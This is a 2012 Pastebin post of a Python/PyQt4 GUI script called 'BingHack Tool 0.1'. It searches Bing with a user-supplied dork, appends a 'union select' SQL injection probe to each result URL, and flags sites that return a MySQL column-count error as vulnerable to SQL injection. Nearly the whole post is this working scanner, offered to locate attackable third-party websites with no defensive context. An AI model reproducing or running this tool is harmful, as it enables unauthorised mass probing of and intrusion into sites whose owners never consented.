yosoysupercholo

Un simple script para buscar en bing

Nov 3rd, 2012
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.07 KB | None | 0 0
  1. #!usr/bin/python
  2. #Un simple script para buscar en bing paginas vulnerables a SQLi.
  3. #BingHack Tool 0.1
  4. #Coded By Doddy H
  5.  
  6. import sys,urllib2,re
  7. from PyQt4 import QtCore,QtGui
  8.  
  9. def toma(web) :
  10.  nave = urllib2.Request(web)
  11.  nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  12.  op = urllib2.build_opener()
  13.  return op.open(nave).read()
  14.  
  15. def sql(webs):
  16.  for web in webs :
  17.   if re.findall("=",web):
  18.   web = re.split("=",web)
  19.   web = web[0]+"="
  20.   app.processEvents()
  21.   try:
  22.     code = toma(web+"-1+union+select+1--")
  23.     if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  24.     new.console.appendPlainText("[SQLI] : "+web)
  25.   except:
  26.     pass
  27.  
  28. def limpiar(pag):
  29.  
  30.  limpia = []
  31.  for p in pag:
  32.   if p not in limpia:
  33.   limpia.append(p)
  34.  return limpia
  35.  
  36. def buscar(dork,count):
  37.  
  38.  pag = []
  39.  s = 10  
  40.  
  41.  new.console.appendPlainText("[+] Searching pages ....")
  42.  
  43.  while s <= int(count):
  44.   try:
  45.   code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
  46.   d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
  47.   s += 10
  48.   for a in d:
  49.     pag.append(a)
  50.   except:
  51.   pass
  52.  
  53.  new.console.appendPlainText("[+] Cleaning ...")
  54.  
  55.  pag = limpiar(pag)
  56.  return pag
  57.  
  58. def scan():
  59.  
  60.  new.console.clear()
  61.  pages = buscar(new.dork.text(),new.pages.text())
  62.  new.console.appendPlainText("[+] Scanning ...\n")
  63.  sql(pages)
  64.  new.console.appendPlainText("\n[+] Finished")
  65.  
  66. app = QtGui.QApplication(sys.argv)
  67.  
  68. new = QtGui.QWidget()
  69.  
  70. new.setWindowTitle("BingHack Tool 0.1 || Coded By Doddy H")
  71. new.resize(450,470)
  72. new.setStyleSheet("QWidget {background-color: #000000;color: #FF8000}")
  73.  
  74. new.label1 = QtGui.QLabel("Dork : ",new)
  75. new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
  76. new.label1.setGeometry(30,23,80,20)
  77.  
  78. new.dork = QtGui.QLineEdit(new)
  79. new.dork.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  80. new.dork.setGeometry(90,23,200,25)
  81.  
  82. new.label1 = QtGui.QLabel("Pages : ",new)
  83. new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
  84. new.label1.setGeometry(30,60,80,20)
  85.  
  86. new.pages = QtGui.QLineEdit(new)
  87. new.pages.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  88. new.pages.setGeometry(100,60,50,25)
  89.  
  90. new.search = QtGui.QPushButton("Scan",new)
  91. new.search.setGeometry(305,22,110,28)
  92. new.search.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  93.  
  94. new.label2 = QtGui.QLabel("Console",new)
  95. new.label2.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
  96. new.label2.setGeometry(185,110,70,20)
  97.  
  98. new.console = QtGui.QPlainTextEdit(new)
  99. new.console.setGeometry(50,150,350,300)
  100. new.console.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  101.  
  102. new.connect(new.search,QtCore.SIGNAL("clicked()"),scan)
  103.  
  104. new.show()
  105.  
  106. sys.exit(app.exec_())
  107.  
  108. # The End ?
Advertisement
Add Comment
Please, Sign In to add comment